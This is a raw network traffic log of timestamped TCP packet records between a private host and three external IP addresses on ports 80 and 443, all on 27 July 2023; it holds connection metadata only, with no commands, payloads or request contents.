Jul 27, 2023 18:27:03.858971119 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.858998060 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.858998060 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.859638929 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.860318899 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.862102985 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.862152100 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.862199068 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.862240076 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.862246037 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.862688065 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.862935066 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.863255024 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.863306046 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.863326073 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.864428043 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.864550114 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.864625931 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.864658117 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.864674091 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.864778042 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.865859985 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.865910053 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.865957975 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.866008043 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.866020918 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.866020918 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.866055965 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.866622925 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.867788076 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.867836952 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.867899895 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.871236086 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.871285915 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.871332884 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.871376991 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.871423006 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.871480942 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.871480942 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.872127056 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.872174025 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.872206926 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.872241974 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.872319937 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.873817921 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.873867035 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.873913050 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.873959064 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.873997927 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.874006033 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.874031067 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.874700069 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.874746084 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.874773979 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.879173994 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.879220963 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.879267931 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.879312992 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.879328966 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.879328966 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.879359961 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880346060 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.880352020 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880402088 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880448103 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880491972 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880521059 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.880538940 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.880673885 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.883847952 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.883970022 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.884013891 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.884016037 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.884063005 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.884100914 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.884109020 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.884308100 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.885230064 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.885276079 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.885323048 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.885359049 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.885430098 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.885430098 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.886929989 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.886976004 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.887020111 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.888037920 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.889480114 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.889529943 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.889574051 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.889621019 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.889642954 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.889667988 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.890402079 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.890407085 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.890450001 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.890496969 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.890549898 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.891519070 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.891566038 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.891613007 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.891658068 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.891705036 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.891722918 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.891722918 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.891793013 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.896557093 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.896605015 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.896650076 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.896660089 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.896697044 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.896743059 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.896756887 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.897309065 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.897361040 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.897387981 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.897408962 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.897455931 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.897478104 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.897492886 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.897567987 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.898735046 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.898821115 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.898868084 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.898914099 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.898931026 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.899971008 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.904130936 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.904177904 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.904321909 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.904354095 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.904370070 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.904414892 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.904566050 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.905020952 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.905112028 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.905119896 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.905168056 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.905213118 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.905258894 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.905317068 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.905317068 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.905957937 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906003952 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906049967 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906095982 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906124115 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.906141996 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906173944 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.906708956 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906754017 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906785965 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.906802893 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906852007 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906899929 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.906954050 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.906954050 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.907638073 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907674074 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907795906 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.907815933 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907862902 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907907009 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907928944 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.907953024 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.907999039 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.908037901 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.908710003 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.908756971 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.908780098 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.908803940 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.908849001 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.908871889 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.908896923 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909054041 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.909509897 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909559965 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909605980 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909652948 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909698009 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.909706116 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.909706116 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.910239935 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.910367012 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.910413980 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.910459042 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.910505056 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.910507917 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.910509109 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.910602093 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.911154985 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.911202908 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.911250114 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.911290884 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.911293030 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.911365986 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.957417011 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.957510948 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.957597017 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.119751930 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.119827032 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.185864925 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.185970068 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.214654922 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.214701891 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.215354919 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.216362000 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.316792011 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.355493069 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.355602980 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.355637074 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.355664968 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.355745077 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.462553978 CEST	49709	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:04.462605953 CEST	443	49709	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:04.489538908 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.508075953 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.508977890 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.532980919 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.549437046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.549542904 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.549829006 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.550129890 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.566263914 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.566320896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.685336113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.685401917 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.685532093 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.748306036 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.748366117 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.765175104 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.765224934 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.828430891 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.828495026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.828566074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.828957081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829010963 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829060078 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829071999 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.829108000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829155922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829202890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829210043 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.829251051 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829256058 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.829298973 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829345942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829391956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829400063 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.829432011 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.829457045 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.875365019 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875432968 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875467062 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.875484943 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875535965 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875581980 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875622034 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.875632048 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875643015 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.875699997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875830889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.875884056 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.876432896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.876482964 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.876529932 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.876549959 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.876578093 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.876585960 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.877235889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.877286911 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.877299070 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.877334118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.877382040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.877434969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.877929926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.877979040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.878005028 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.878027916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.878074884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.878134966 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.878742933 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.878793955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.878813982 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.878839016 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.879261017 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.924098969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924166918 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924257994 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924325943 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.924354076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924402952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924451113 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924487114 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.924499035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.924511909 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.924547911 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925136089 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925185919 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925203085 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.925235033 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925246000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.925283909 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925896883 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925910950 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.925950050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.925996065 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926043987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926057100 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.926106930 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.926676035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926723957 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926770926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926819086 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.926841974 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.926882982 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.927469015 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.927516937 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.927565098 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.927613020 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.927634001 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.927674055 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.928225040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.928293943 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.928342104 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.928390026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.928452969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.928500891 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.929059982 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929111004 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929158926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:04.929188967 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:04.929207087 CEST	80	49710	188.114.97.7	192.168.2.4
